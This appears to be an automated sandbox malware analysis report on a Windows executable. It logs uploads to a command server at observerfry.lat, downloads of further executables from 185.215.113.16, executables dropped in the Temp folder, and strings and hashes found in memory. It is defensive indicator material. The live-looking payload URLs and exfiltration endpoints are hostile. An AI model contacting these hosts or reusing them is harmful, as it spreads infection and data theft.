Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J52CPNE7M35F16JDEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18157Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Y2CCFU8FB6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8736Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5YD9QOQNZTTW2JMJMXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20437Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=55Y5F9DAJ435ZDUQZMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1248Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QDCZR7K2XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570501Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: observerfry.lat
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: observerfry.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat

Source: 0HdDuWzp54.exe, 00000000.00000003.2016210308.000000000145C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 0HdDuWzp54.exe, 00000000.00000003.2016210308.000000000145C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: 0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeex9
Source: 0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013D2000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.2016210308.000000000145C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe09
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.0000000001622000.00000004.00000020.00020000.00000000.sdmp, Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000163A000.00000004.00000020.00020000.00000000.sdmp, Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/?
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.0000000001622000.00000004.00000020.00020000.00000000.sdmp, Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/j
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpl
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpm
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000163A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: NCU1LYX00CJA4N4Z4DG.exe, 00000004.00000002.2175390962.000000000145B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.mic
Source: 0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 0HdDuWzp54.exe, 00000000.00000003.1827518501.0000000005BAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 0HdDuWzp54.exe, 00000000.00000003.1827518501.0000000005BAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 0HdDuWzp54.exe, 00000000.00000003.1827518501.0000000005BAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.2016210308.000000000145C000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1934772798.000000000145D000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1804099068.0000000005BA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: 0HdDuWzp54.exe, 00000000.00000003.1881351639.000000000145D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/F
Source: 0HdDuWzp54.exe, 0HdDuWzp54.exe, 00000000.00000003.1825307257.0000000005BAF000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1825381451.0000000005BAF000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1889855359.000000000145D000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1852781819.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1881351639.000000000145D000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1825442882.0000000001440000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1852284223.0000000005BAA000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1934772798.000000000145D000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1825468436.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1902241755.000000000145D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api
Source: 0HdDuWzp54.exe, 00000000.00000003.1825442882.0000000001440000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1825468436.0000000001469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiOK
Source: 0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1825442882.0000000001440000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1825468436.0000000001469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apit
Source: 0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/pi2
Source: 0HdDuWzp54.exe, 00000000.00000003.1852781819.0000000005BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/ulHBdqWKZGxkQH29TII
Source: 0HdDuWzp54.exe, 00000000.00000003.1781851132.0000000005C02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 0HdDuWzp54.exe, 00000000.00000003.1827051840.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 0HdDuWzp54.exe, 00000000.00000003.1827051840.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 0HdDuWzp54.exe, 00000000.00000003.1781851132.0000000005C00000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1804179713.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1781978980.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1804276547.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 0HdDuWzp54.exe, 00000000.00000003.1781978980.0000000005BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 0HdDuWzp54.exe, 00000000.00000003.1781851132.0000000005C00000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1804179713.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1781978980.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1804276547.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 0HdDuWzp54.exe, 00000000.00000003.1781978980.0000000005BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 0HdDuWzp54.exe, 00000000.00000003.1827051840.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 0HdDuWzp54.exe, 00000000.00000003.1827051840.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 0HdDuWzp54.exe, 00000000.00000003.1827051840.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 0HdDuWzp54.exe, 00000000.00000003.1827051840.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 0HdDuWzp54.exe, 00000000.00000003.1827051840.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.4:49742 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: 0HdDuWzp54.exe	Static PE information: section name:
Source: 0HdDuWzp54.exe	Static PE information: section name: .idata
Source: 0HdDuWzp54.exe	Static PE information: section name:
Source: NCU1LYX00CJA4N4Z4DG.exe.0.dr	Static PE information: section name:
Source: NCU1LYX00CJA4N4Z4DG.exe.0.dr	Static PE information: section name: .idata
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe.0.dr	Static PE information: section name:
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Code function: 4_2_00C6E2EE

4_2_00C6E2EE

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe D8DB10ABDB18394FA74BFB00C68A6AE1A40DE13CF5D0A6620A9A2F1D4571351D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe 3ACD04016A0846F4E6C69D4684AC0A21DC476E63F8E7957FC73CA58C90F40857

Source: 0HdDuWzp54.exe, 00000000.00000003.1990909072.0000000006255000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1990320726.000000000613A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1992257837.000000000604A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2002584186.0000000006051000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2003433086.0000000006047000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1996821613.000000000604A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1987334002.000000000604C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1986443054.0000000006052000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1991693741.0000000006048000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1983566732.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1991533203.0000000006149000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1998830918.0000000006048000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1986564415.0000000006111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1988719860.000000000604E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1986311214.000000000610E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1983464920.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
